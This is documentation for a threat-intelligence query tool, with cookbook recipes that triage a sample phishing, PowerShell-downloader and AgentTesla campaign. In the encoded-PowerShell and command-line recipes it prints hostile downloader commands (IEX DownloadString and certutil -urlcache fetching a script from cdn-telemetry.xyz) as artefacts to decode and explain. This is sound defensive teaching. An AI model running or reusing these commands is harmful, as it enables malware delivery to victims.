CEPLDocs Ceplin

Recipes

Cookbook

Each recipe below is a complete investigation, written as the lines an analyst would type. The examples run on Ceplin's sample data, which models one small campaign: a PayPal lookalike phishing kit, a PowerShell downloader and an AgentTesla sample, sharing infrastructure. With live API keys the same lines work on real artefacts.

#Triage a lookalike phishing domain

A user reports a link to secure-login-paypa1.com. The name imitates PayPal with a 1 in place of the l. The questions are how new the domain is, what it serves, and where it sends people.

Start with registration. A domain registered days before it is used is a strong signal.

CEPL
>>> "secure-login-paypa1.com".rdap()[registered, registrar, age, nameservers]
[OK] WHOIS / RDAP [registered, registrar, age, nameservers] on secure-login-paypa1.com via RDAP
    registered:  2026-07-15T18:20:31.000Z
    registrar:   NameSilo, LLC
    age:         ● 113.7
    nameservers: ns1.bullethost.net ns2.bullethost.net

age is in days. Next, fetch the page and look at where it ends up, its title, and whether it asks for a password:

CEPL
>>> "secure-login-paypa1.com".http()[final_url, redirect_chain, title, forms, password_field, external_hosts]
[OK] HTTP fetch [final_url, redirect_chain, title, forms, password_field, external_hosts] on secure-login-paypa1.com via direct
    final_url:      https://accounts-verify-paypa1.top/login
    redirect_chain: https://secure-login-paypa1.com/
                    https://accounts-verify-paypa1.top/login
    title:          PayPal — Verify your account
    forms:          1
    password_field: true
    external_hosts: cdn-telemetry.xyz collector-9x2.top www.paypalobjects.com

The domain redirects to a second domain, accounts-verify-paypa1.top, which shows a PayPal login form. external_hosts lists the other hosts the page loads from. Check the mail setup, since lookalike domains are often also used to send the phishing mail:

CEPL
>>> "secure-login-paypa1.com".dns()[a, mx, spf_includes, spf_ips, dmarc_policy]
[OK] DNS records [a, mx, spf_includes, spf_ips, dmarc_policy] on secure-login-paypa1.com via resolver
    a:            185.215.113.66
    mx:           mail.accounts-verify-paypa1.top
    spf_includes: _spf.sendgrid.net
    spf_ips:      185.215.113.0/24
    dmarc_policy: none

A block compares the two domains side by side:

CEPL
>>> ["secure-login-paypa1.com", "accounts-verify-paypa1.top"]{ rdap()[registrar, age], tls_cert()[issuer], dns()[a] }
[OK] Multi Report Expression on 2 domains
    domain                      registrar      age    issuer  a
    ────────────────────────────────────────────────────────────────────────
    secure-login-paypa1.com     NameSilo, LLC  113.7  R11     185.215.113.66
    accounts-verify-paypa1.top  NameSilo, LLC  113.7  R11     185.215.113.66

Both were registered at the same registrar on the same day, use the same certificate issuer, and resolve to the same address. Look at that address:

CEPL
>>> "secure-login-paypa1.com".dns()[a]{ abuseipdb()[score, total_reports], asn()[as_name], geo()[country_name] }
[OK] Multi Report Expression on 185.215.113.66
    abuseipdb[score]:         100
    abuseipdb[total_reports]: 1148
    asn[as_name]:             PROSPERO-AS, RU
    geo[country_name]:        Netherlands

Certificate Transparency logs show every name issued a certificate together with this one, which often reveals the rest of the kit:

CEPL
>>> "secure-login-paypa1.com".ct_logs()[sans, first_seen]
[OK] Certificate Transparency [sans, first_seen] on secure-login-paypa1.com via certspotter
    sans:       accounts-verify-paypa1.top cdn-telemetry.xyz mail.accounts-verify-paypa1.top secure-login-paypa1.com webmail.secure-login-paypa1.com www.secure-login-paypa1.com
    first_seen: 2026-07-09T11:02:00Z

The logs list cdn-telemetry.xyz alongside the phishing names. That domain appears again in the next recipe. To put the indicators in a report or ticket, defang them:

CEPL
>>> ["secure-login-paypa1.com", "accounts-verify-paypa1.top", "cdn-telemetry.xyz"].encode(defang)[text]
[OK] Encode [text] on 3 domains
    domain                      text
    ────────────────────────────────────────────────────────
    secure-login-paypa1.com     secure-login-paypa1[.]com
    accounts-verify-paypa1.top  accounts-verify-paypa1[.]top
    cdn-telemetry.xyz           cdn-telemetry[.]xyz

#Unpack an encoded PowerShell command

An EDR alert shows PowerShell started with -enc and a long Base64 argument. identify() explains the command line without running anything: the binary, each flag, the decoded script, and the Sigma rules and ATT&CK techniques it matches.

CEPL
>>> cmd = "powershell -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYwBkAG4ALQB0AGUAbABlAG0AZQB0AHIAeQAuAHgAeQB6AC8AdwBpAG4ALwB1AHAAZABhAHQAZQAuAHAAcwAxACcAKQA="
[OK] Recognised command
    powershell -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYwBkAG4ALQB0AGUAbABlAG0AZQB0AHIAeQAuAHgAeQB6AC8AdwBpAG4ALwB1AHAAZABhAHQAZQAuAHAAcwAxACcAKQA=
[OK] cmd
    1 command value(s)

>>> cmd.identify()[flags, decoded, urls, level, techniques]
[OK] Command identifier [flags, decoded, urls, level, techniques] on powershell -nop -w hidden -enc SQBFAF...ACcAKQA=
    flags:      -nop Doesn't load the PowerShell profile.
                -w Sets the window style for the session.
                -enc Accepts a base-64-encoded string version of a command.
    decoded:    IEX (New-Object Net.WebClient).DownloadString('http://cdn-telemetry.xyz/win/update.ps1')
    urls:       http://cdn-telemetry.xyz/win/update.ps1
    level:      high
    techniques: T1059.001 Command and Scripting Interpreter: PowerShell

The script downloads a second stage with DownloadString and runs it with IEX. decode(auto) gives the decoded text on its own, with the URL it contains as a field:

CEPL
>>> cmd.decode(auto)[text, url, method]
[OK] Decode [text, url, method] on powershell -nop -w hidden -enc SQBFAF...ACcAKQA=
    text:   IEX (New-Object Net.WebClient).DownloadString('http://cdn-telemetry.xyz/win/update.ps1')
    url:    http://cdn-telemetry.xyz/win/update.ps1
    method: base64 → utf16le

Follow the URL to the server that hosts the second stage, and ask three sources about it in one line:

CEPL
>>> cmd.decode(auto)[url].urlscan()[ip]{ abuseipdb()[score], asn()[asn, as_name], rdap()[net_name] }
[OK] Multi Report Expression on 45.9.148.112
    abuseipdb[score]: 100
    asn[asn]:         AS202425
    asn[as_name]:     IPVOLUME, NL
    rdap[net_name]:   IPV-NET

Save the pivot so the next encoded command takes one line:

CEPL
>>> /save command.decode(auto)[url].urlscan()[ip]{ abuseipdb()[score], asn()[as_name] } stage2
[OK] Saved @stage2
    accepts:    command
    expression: command.decode(auto)[url].urlscan()[ip]{ abuseipdb()[score], asn()[as_name] }
    returns:    ip
    cost:       3 API call(s)

>>> cmd.@stage2()
[OK] Multi Report Expression on 45.9.148.112
    abuseipdb[score]: 100
    asn[as_name]:     IPVOLUME, NL

#Check destinations in a proxy log

A proxy log has been exported for the hosts in an incident. The task is to find which destinations are known bad, and which internal hosts talked to them.

proxy.csv
time,src_host,user,dest_host,dest_ip,bytes_out
2026-07-16T09:31:44Z,WS-114,j.doe,secure-login-paypa1.com,185.215.113.66,4812
2026-07-16T09:32:10Z,WS-114,j.doe,accounts-verify-paypa1.top,185.215.113.66,22094
2026-07-16T09:40:02Z,WS-207,a.khan,cdn-telemetry.xyz,45.9.148.112,1203
2026-07-16T10:02:55Z,WS-310,m.ito,dns.google,8.8.8.8,512
2026-07-16T10:15:19Z,WS-207,a.khan,cdn-telemetry.xyz,45.9.148.112,98112
2026-07-16T11:20:41Z,WS-122,r.silva,www.tencentcloud.com,118.25.6.39,2201

import() reads the file. Each column is a field, so the destination addresses are [dest_ip], and uniq() drops the repeats:

CEPL
>>> "proxy.csv".import()[dest_ip].uniq()
[OK] uniq() on 4 rows
    row  dest_ip
    ───────────────────
    2    185.215.113.66
    4    45.9.148.112
    5    8.8.8.8
    7    118.25.6.39

Price the sweep before running it. Three checks on four addresses is twelve API calls, over the default limit of ten, so Ceplin would stop and ask first:

CEPL
>>> "proxy.csv".import()[dest_ip].uniq(){ abuseipdb(), asn(), geo() }.cost()
[OK] cost() on proxy.csv
    0 API call(s) + 3 per item in the set - projected, not executed

>>> "proxy.csv".import()[dest_ip].uniq(){ abuseipdb()[score], asn()[as_name], geo()[country_name] }
[??] Confirm
    This line will make 12 API calls (abuseipdb 4, asn 4, geo 4). Enter to continue, Esc to cancel.
Not run.

Two checks fit within the limit. Keep the addresses that score high, and keep them in a variable:

CEPL
>>> bad = "proxy.csv".import()[dest_ip].uniq(){ abuseipdb()[score], asn()[as_name] }.filter(score > 50)[value]
[OK] [value] on 2 ips
    ips: 185.215.113.66 45.9.148.112
    filter(score > 50) kept 2 of 4
[OK] bad
    2 ip value(s)

>>> bad
[OK] bad
    ip
    185.215.113.66
    45.9.148.112

Now go back to the log and find the internal hosts that connected to them, with how much data each sent:

CEPL
>>> "proxy.csv".import().filter(dest_ip in bad).group(src_host).sum(bytes_out)
[OK] sum(bytes_out) on 2 groups
    src_host  count  items                             sum_bytes_out
    ────────────────────────────────────────────────────────────────
    WS-114    2      proxy.csv row 2, proxy.csv row 3  26906
    WS-207    2      proxy.csv row 4, proxy.csv row 6  99315

WS-207 sent about 99 KB to the server that hosts the PowerShell second stage, more than any other host. Write the matching rows to a file for the incident record:

CEPL
>>> "proxy.csv".import().filter(dest_ip in bad).export("proxy-hits.csv")
[OK] Import rows .filter(dest_ip in bad) on 4 rows
    row  time                src_host  user    dest_host           dest_ip         bytes_out
    ────────────────────────────────────────────────────────────────────────────────────────
    2    2026-07-16T09:31:…  WS-114    j.doe   secure-login-payp…  185.215.113.66  4812
    3    2026-07-16T09:32:…  WS-114    j.doe   accounts-verify-p…  185.215.113.66  22094
    4    2026-07-16T09:40:…  WS-207    a.khan  cdn-telemetry.xyz   45.9.148.112    1203
    6    2026-07-16T10:15:…  WS-207    a.khan  cdn-telemetry.xyz   45.9.148.112    98112
[OK] Exported
    4 row(s) to proxy-hits.csv

#Pivot from a malware sample

A mail gateway quarantined an attachment, PO-8823_shipping.exe, with MD5 9a1b6f0c33e51d2a48b7e90d1c2f4a55. Start with what MalwareBazaar knows about it:

CEPL
>>> "9a1b6f0c33e51d2a48b7e90d1c2f4a55".malwarebazaar()[signature, tags, file_name, first_seen, delivery_method]
[OK] Sample intel [signature, tags, file_name, first_seen, delivery_method] on 9a1b6f0c33e51d2a48b7e90d1c2f4a55 via MalwareBazaar
    signature:       AgentTesla
    tags:            AgentTesla exe TA558
    file_name:       PO-8823_shipping.exe
    first_seen:      2026-07-19 06:12:44
    delivery_method: email_attachment

The import hash (imphash) is computed from the functions an executable imports, so builds from the same project often share it. Searching by imphash finds related samples:

CEPL
>>> "9a1b6f0c33e51d2a48b7e90d1c2f4a55".malwarebazaar()[imphash].samples()[file_name, first_seen, delivery_method]
[OK] Related samples [file_name, first_seen, delivery_method] on 3 imphashes via MalwareBazaar
    imphash                           file_name          first_seen         delivery_method
    ────────────────────────────────────────────────────────────────────────────────────────
    2c8e01f4b9aa3d75e6c2f1a0b3d4e5f6  PO-8823_shipping…  2026-07-19 06:12…  email_attachment
    2c8e01f4b9aa3d75e6c2f1a0b3d4e5f6  Invoice_June_202…  2026-06-30 11:02…  email_attachment
    2c8e01f4b9aa3d75e6c2f1a0b3d4e5f6  swift_copy.exe     2026-03-04 09:47…  email_link

Group them to see how the campaign was delivered:

CEPL
>>> "9a1b6f0c33e51d2a48b7e90d1c2f4a55".malwarebazaar()[imphash].samples().group(delivery_method)
[OK] group(delivery_method) on 2 groups
    delivery_method   count  items
    ────────────────────────────────────────────────────────────────────────────────────────
    email_attachment  2      b4c9e2a7f0d81135c66aa2e94b7d30f8a1c5e6d2b9f04a7c8e1d3f5a6b7c8d…
    email_link        1      7e2a1b9c0d3f4e5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f…

The sample was also signed. Its signing certificate's serial and subject, and whether the certificate is on the Code Signing Certificate Blocklist, are fields of the report:

CEPL
>>> "9a1b6f0c33e51d2a48b7e90d1c2f4a55".malwarebazaar()[cert_serial, cert_subject, cscb_listed]
[OK] Sample intel [cert_serial, cert_subject, cscb_listed] on 9a1b6f0c33e51d2a48b7e90d1c2f4a55 via MalwareBazaar
    cert_serial:  3A9F00C21B7D4E85A6F1029384756ABC
    cert_subject: Hangzhou Ledong Network Technology Co., Ltd.
    cscb_listed:  true

A hash can also be checked against known good software. whatis() looks a hash up in CIRCL's hashlookup set of published files, which helps rule out a system binary:

CEPL
>>> "945fedb3a3c290d69f075f997e5320ff".whatis()[name, package, match, trust]
[OK] What is this binary [name, package, match, trust] on 945fedb3a3c290d69f075f997e5320ff
    name:    ls
    package: coreutils 8.21-1ubuntu5.4
    match:   known published file (CIRCL hashlookup)
    trust:   55

#Map the hosting behind an address

The phishing kit and the second stage are hosted on two addresses. Before blocking, it helps to know whose networks they are on, what else is announced from them, and whether the networks are related.

CEPL
>>> ["185.215.113.66", "45.9.148.112"]{ asn()[asn, as_name, country], rdap()[net_name, abuse_email] }
[OK] Multi Report Expression on 2 ips
    ip              asn       as_name          country  net_name      abuse_email
    ────────────────────────────────────────────────────────────────────────────────────
    185.215.113.66  AS200593  PROSPERO-AS, RU  RU       PROSPERO-NET  -
    45.9.148.112    AS202425  IPVOLUME, NL     NL       IPV-NET       abuse@ipvolume.net

routing() reads BGP data from RIPEstat: the announced prefix, its origin AS, the neighbouring networks and related prefixes.

CEPL
>>> "185.215.113.66".routing()[prefix, origin_asn, holder, neighbours, related_prefixes]
[OK] BGP routing (RIPEstat) [prefix, origin_asn, holder, neighbours, related_prefixes] on 185.215.113.66 via ripestat
    prefix:           185.215.113.0/24
    origin_asn:       AS200593
    holder:           PROSPERO-AS
    neighbours:       AS9009 AS49666 AS207137
    related_prefixes: 185.215.112.0/24 185.215.113.0/24 45.9.148.0/24

45.9.148.0/24, the network of the second address, is listed as a related prefix, which links the two hosting networks. A verb that takes single addresses refuses a range rather than picking one address from it:

CEPL
>>> "45.9.148.0/24".geo()
[ER] geo cannot accept cidr (accepts ip)

Reverse DNS on the address runs locally and costs nothing:

CEPL
>>> "45.9.148.112".reverse_dns()
[OK] Reverse DNS (PTR) on 45.9.148.112
    hostname: unassigned.ipvolume.net

#Read a suspicious email header

A user forwards the phishing mail with its full headers. parse_header() reads a pasted header block: the sender, return path, subject, message ID, the relays it passed through, and the authentication results. Text over several lines goes between three backticks.

CEPL
>>> hdr = ```Received: from mail.accounts-verify-paypa1.top (mail.accounts-verify-paypa1.top [185.215.113.66])
...         by mx1.example.org with ESMTPS id 4Xk2pQ; Thu, 16 Jul 2026 09:31:02 +0000
... Authentication-Results: mx1.example.org; spf=pass smtp.mailfrom=accounts-verify-paypa1.top; dkim=none; dmarc=fail header.from=accounts-verify-paypa1.top
... From: "PayPal Service" <service@accounts-verify-paypa1.top>
... Return-Path: <bounce@accounts-verify-paypa1.top>
... To: j.doe@example.org
... Subject: Your account access has been limited
... Date: Thu, 16 Jul 2026 09:30:58 +0000
... Message-ID: <20260716093058.4Xk2pQ@accounts-verify-paypa1.top>```
[OK] Recognised email_header
    Received: from mail.accounts-verify-paypa1.top (mail.accounts-verify-paypa1.top [185.215.113.66])
            by mx1.example.org with ESMTPS id 4Xk2pQ; Thu, 16 Jul 2026 09:31:02 +0000
    Authentication-Results: mx1.example.org; spf=pass smtp.mailfrom=accounts-verify-paypa1.top; dkim=none; dmarc=fail header.from=accounts-verify-paypa1.top
    From: "PayPal Service" <service@accounts-verify-paypa1.top>
    Return-Path: <bounce@accounts-verify-paypa1.top>
    To: j.doe@example.org
    Subject: Your account access has been limited
    Date: Thu, 16 Jul 2026 09:30:58 +0000
    Message-ID: <20260716093058.4Xk2pQ@accounts-verify-paypa1.top>
[OK] hdr
    1 email_header value(s)

>>> hdr.parse_header()
[OK] Parse header on Received: from mail.accounts-verify-p...pa1.top>
    from:           service@accounts-verify-paypa1.top
    return_path:    bounce@accounts-verify-paypa1.top
    to:             j.doe@example.org
    subject:        Your account access has been limited
    date:           Thu, 16 Jul 2026 09:30:58 +0000
    message_id:     <20260716093058.4Xk2pQ@accounts-verify-paypa1.top>
    originating_ip: 185.215.113.66
    received_hops:  1
    auth_results:   mx1.example.org; spf=pass smtp.mailfrom=accounts-verify-paypa1.top; dkim=none; dmarc=fail header.from=accounts-verify-paypa1.top

The display name says PayPal, but the address is on the lookalike domain, and DMARC failed. Take the originating address on to a reputation check:

CEPL
>>> hdr.parse_header()[originating_ip]{ abuseipdb()[score], asn()[as_name] }
[OK] Multi Report Expression on 185.215.113.66
    abuseipdb[score]: 100
    asn[as_name]:     PROSPERO-AS, RU

#Explain a command line from an alert

Living off the land binaries are signed system tools used for an attacker's purpose. identify() recognises them in a command line and lists the LOLBAS entry, the matching Sigma rules and the ATT&CK techniques. Here certutil downloads a file:

CEPL
>>> "certutil -urlcache -split -f http://cdn-telemetry.xyz/win/update.ps1 C:\Users\Public\u.ps1".identify()[binary, flags, urls, lolbas, level, techniques]
[OK] Command identifier [binary, flags, urls, lolbas, level, techniques] on certutil -urlcache -split -f http://c...ic\u.ps1
    binary:     certutil.exe
    flags:      -urlcache Displays or deletes URL cache entries.
                -split Split embedded ASN.1 elements, and save to files.
                -f Force overwrite.
    urls:       http://cdn-telemetry.xyz/win/update.ps1
    lolbas:     Download (T1105)
    level:      medium
    techniques: T1105 Ingress Tool Transfer
                T1027 Obfuscated Files or Information

whatis() describes a binary by name: where it should live, who signs it, and how it can be misused. A copy of rundll32.exe outside System32 would be worth a closer look.

CEPL
>>> "rundll32.exe".whatis()[description, paths, signer, lolbas, techniques]
[OK] What is this binary [description, paths, signer, lolbas, techniques] on rundll32.exe
    description: Windows host process (Rundll32)
    paths:       C:\Windows\system32\ C:\Windows\SysWOW64\
    signer:      Microsoft Windows
    lolbas:      Execute ADS
    techniques:  T1218.011 T1564.004

#Check a site's certificates

tls_cert() connects to the host and reads the certificate it serves. A new certificate, a short validity, or names that do not belong together are all worth noting.

CEPL
>>> "secure-login-paypa1.com".tls_cert()[subject_cn, sans, issuer, not_before, expires_in, self_signed, served_ip]
[OK] TLS certificate (live) [subject_cn, sans, issuer, not_before, expires_in, self_signed, served_ip] on secure-login-paypa1.com via direct
    subject_cn:  accounts-verify-paypa1.top
    sans:        accounts-verify-paypa1.top mail.accounts-verify-paypa1.top secure-login-paypa1.com www.accounts-verify-paypa1.top
    issuer:      R11
    not_before:  2026-07-16T09:14:00Z
    expires_in:  62
    self_signed: false
    served_ip:   185.215.113.66

The certificate covers both lookalike domains. Its fingerprint finds the same certificate in the Certificate Transparency logs through crt.sh, which confirms when it was logged:

CEPL
>>> "secure-login-paypa1.com".tls_cert()[fingerprint_sha256].cert_lookup()[subject_cn, sans, not_before, logged]
[OK] Certificate by fingerprint [subject_cn, sans, not_before, logged] on 9f2c41ab77d5e0c318b4a6f92e7d015c8ab39...bb27ce34 via crt.sh
    subject_cn: accounts-verify-paypa1.top
    sans:       accounts-verify-paypa1.top mail.accounts-verify-paypa1.top secure-login-paypa1.com www.accounts-verify-paypa1.top
    not_before: 2026-07-16T09:14:00Z
    logged:     true

Every name on the certificate can be checked in one line. The names are hostnames, so rdap() looks up the domain each one belongs to:

CEPL
>>> "secure-login-paypa1.com".tls_cert()[sans].uniq().rdap()[registered, registrar]
[OK] WHOIS / RDAP [registered, registrar] on 4 domains via RDAP
    domain                           registered                registrar
    ────────────────────────────────────────────────────────────────────────
    accounts-verify-paypa1.top       2026-07-15T18:24:02.000Z  NameSilo, LLC
    mail.accounts-verify-paypa1.top  2026-07-15T18:24:02.000Z  NameSilo, LLC
    secure-login-paypa1.com          2026-07-15T18:20:31.000Z  NameSilo, LLC
    www.accounts-verify-paypa1.top   2026-07-15T18:24:02.000Z  NameSilo, LLC

#Decode artefacts from an incident

Incident data is full of encoded values. These decoders run locally and make no API calls.

CEPL
>>> "aHR0cDovL2Nkbi10ZWxlbWV0cnkueHl6L3dpbi91cGRhdGUucHMx".decode(auto)[text, method]
[OK] Decode [text, method] on aHR0cDovL2Nkbi10ZWxlbWV0cnkueHl6L3dpb...dGUucHMx
    text:   http://cdn-telemetry.xyz/win/update.ps1
    method: base64

>>> "133512345678901234".decode(filetime)
[OK] Decode on 133512345678901234
    2024-02-01T04:16:07.8901234Z
    text:   2024-02-01T04:16:07.8901234Z
    method: filetime

>>> "1784194262".decode(unix_time)
[OK] Decode on 1784194262
    2026-07-16T09:31:02.000Z (s)
    text:   2026-07-16T09:31:02.000Z (s)
    method: unix_time

>>> "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbmFseXN0IiwiaWF0IjoxNzE2MjM5MDIyfQ.c2lnbmF0dXJl".decode(jwt)
[OK] Decode on eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9....bmF0dXJl
    {
      "alg": "HS256",
      "typ": "JWT"
    }
    {
      "sub": "analyst",
      "iat": 1716239022
    }
    text:   {…
    method: jwt

>>> "hxxps://accounts-verify-paypa1[.]top/login".decode(fang)[text]
[OK] Decode [text] on https://accounts-verify-paypa1.top/login
    https://accounts-verify-paypa1.top/login
    Defanging undone: "hxxps://accounts-verify-paypa1[.]top/login" was read as "https://accounts-verify-paypa1.top/login". To work on it as written, turn on "Keep defanged artefacts as written" in Settings, Advanced

>>> "secure-login-paypa1.com".encode(sha256)[hash]
[OK] Encode [hash] on secure-login-paypa1.com
    af1c854dcbe17d49802807ec3ee8a2862014af924791ca03afc29c4220c095f1

filetime reads a Windows FILETIME, as found in registry keys and event logs. jwt shows a token's header and claims without checking the signature. fang turns a defanged indicator back into a working one, and encode(defang) does the opposite.

#Compare new indicators with known ones

A partner shares a list of indicators. Some of them are already in your blocklist. List arithmetic finds the new ones before you spend lookups on them.

CEPL
>>> shared = ["185.215.113.66", "45.9.148.112", "103.21.58.11", "118.25.6.39"]
[OK] shared
    4 ip value(s)

>>> blocked = ["185.215.113.66", "45.9.148.112"]
[OK] blocked
    2 ip value(s)

>>> new = shared - blocked
[OK] new
    2 ip value(s)

>>> new{ abuseipdb()[score, isp], asn()[as_name] }
[OK] Multi Report Expression on 2 ips
    ip            score  isp                                         as_name
    ────────────────────────────────────────────────────────────────────────────
    103.21.58.11  12     SMS Datacenter                              (no result)
    118.25.6.39   0      Tencent Cloud Computing (Beijing) Co., Ltd  (no result)

shared & blocked gives the overlap, and shared + blocked the union. A block's table held in a variable can be filtered and sorted again with no new lookups:

CEPL
>>> seen = new{ abuseipdb()[score, isp] }
[OK] Multi Report Expression on 2 ips
    ip            score  isp
    ───────────────────────────────────────────────────────────────
    103.21.58.11  12     SMS Datacenter
    118.25.6.39   0      Tencent Cloud Computing (Beijing) Co., Ltd
[OK] seen
    2 row(s): ip, score, isp

>>> seen.filter(score > 10)
[OK] seen on 103.21.58.11
    abuseipdb[score]: 12
    abuseipdb[isp]:   SMS Datacenter
    filter(score > 10) kept 1 of 2

>>> seen.cost()
[OK] seen.cost() on 2 ips
    0 API call(s) - projected API calls (not executed): the rows are held, no lookup is made again

#Build a team playbook with saved verbs

A team that triages the same kinds of artefact every day can save its checks as verbs, so each analyst runs them the same way. A saved verb belongs to one type, and Tab offers it after a dot.

CEPL
>>> /save domain{ rdap()[registrar, age], dns()[a, mx], ct_logs()[newest_age] } newdomain
[OK] Saved @newdomain
    accepts:    domain
    expression: domain{ rdap()[registrar, age], dns()[a, mx], ct_logs()[newest_age] }
    returns:    domain
    cost:       3 API call(s)

>>> "accounts-verify-paypa1.top".@newdomain()
[OK] Multi Report Expression on accounts-verify-paypa1.top
    rdap[registrar]:     NameSilo, LLC
    rdap[age]:           113.7
    dns[a]:              [185.215.113.66]
    dns[mx]:             [mail.accounts-verify-paypa1.top]
    ct_logs[newest_age]: 113.1

A parameter makes a threshold adjustable. Each parameter must be used in a condition, and can have a default:

CEPL
>>> /save ip.abuseipdb().filter(score >= min_score and country not in skip)[score, isp, country] hot(min_score = 75, skip = ["United States of America"])
[OK] Saved @hot
    accepts:    ip
    expression: ip.abuseipdb().filter(score >= min_score and country not in skip)[score, isp, country]
    returns:    text
    cost:       1 API call(s)
    run as:     .@hot()

>>> ["185.215.113.66", "45.9.148.112", "8.8.8.8", "103.21.58.11"].@hot()
[OK] IP reputation .filter(score >= 75 and country not in ["United States of America"])[score, isp, country] on 2 ips via AbuseIPDB
    ip              score  isp            country
    ────────────────────────────────────────────────────────
    185.215.113.66  100    Prospero OOO   Russian Federation
    45.9.148.112    100    IP Volume inc  Netherlands

>>> ["185.215.113.66", "45.9.148.112", "8.8.8.8", "103.21.58.11"].@hot(min_score = 10, skip = ["Russian Federation"])
[OK] IP reputation .filter(score >= 10 and country not in ["Russian Federation"])[score, isp, country] on 2 ips via AbuseIPDB
    ip            score  isp             country
    ────────────────────────────────────────────────
    45.9.148.112  100    IP Volume inc   Netherlands
    103.21.58.11  12     SMS Datacenter  India

/list shows the saved verbs with their types and costs, and /edit puts one back on the prompt to change it.

#Keep a large sweep within budget

API quotas are limited, so a long list should be narrowed and priced before the paid lookups. find() runs locally, and each address it finds carries a scope: private for private, loopback and link-local addresses, public otherwise. Drop the internal addresses first:

CEPL
>>> "Connections: 10.0.4.21, 185.215.113.66, 45.9.148.112, 172.16.9.3, 8.8.8.8".find(ip).uniq().filter(scope == "public")
[OK] .filter(scope == "public") on Connections: 10.0.4.21, 185.215.113.6... 8.8.8.8
    185.215.113.66
[OK] .filter(scope == "public") on Connections: 10.0.4.21, 185.215.113.6... 8.8.8.8
    45.9.148.112
[OK] .filter(scope == "public") on Connections: 10.0.4.21, 185.215.113.6... 8.8.8.8
    8.8.8.8

Price the paid part, and put a ceiling on it. .filter(cost < N) after a block runs it only when it would make fewer than N calls, and skips it otherwise:

CEPL
>>> "Connections: 10.0.4.21, 185.215.113.66, 45.9.148.112, 172.16.9.3, 8.8.8.8".find(ip).uniq().filter(scope == "public"){ abuseipdb()[score], asn()[as_name] }.cost()
[OK] cost() on Connections: 10.0.4.21, 185.215.113... 8.8.8.8
    0 API call(s) + 2 per item in the set - projected, not executed

>>> "Connections: 10.0.4.21, 185.215.113.66, 45.9.148.112, 172.16.9.3, 8.8.8.8".find(ip).uniq().filter(scope == "public"){ abuseipdb()[score], asn()[as_name] }.filter(cost < 5)
[~~] .filter(scope == "public") on 185.215.113.66
    skipped: would cost 6 API call(s), exceeds limit 5

>>> "Connections: 10.0.4.21, 185.215.113.66, 45.9.148.112, 172.16.9.3, 8.8.8.8".find(ip).uniq().filter(scope == "public"){ abuseipdb()[score], asn()[as_name] }.filter(cost < 10)
[OK] Multi Report Expression on 3 ips
    ip              score  as_name
    ──────────────────────────────────────
    185.215.113.66  100    PROSPERO-AS, RU
    45.9.148.112    100    IPVOLUME, NL
    8.8.8.8         0      GOOGLE, US

The block would make six calls, so with a ceiling of five it is skipped and nothing is called. Addresses in documentation ranges are never sent to a provider either, and lookups are cached for an hour, so running the same line again costs nothing. The cost rules give the details.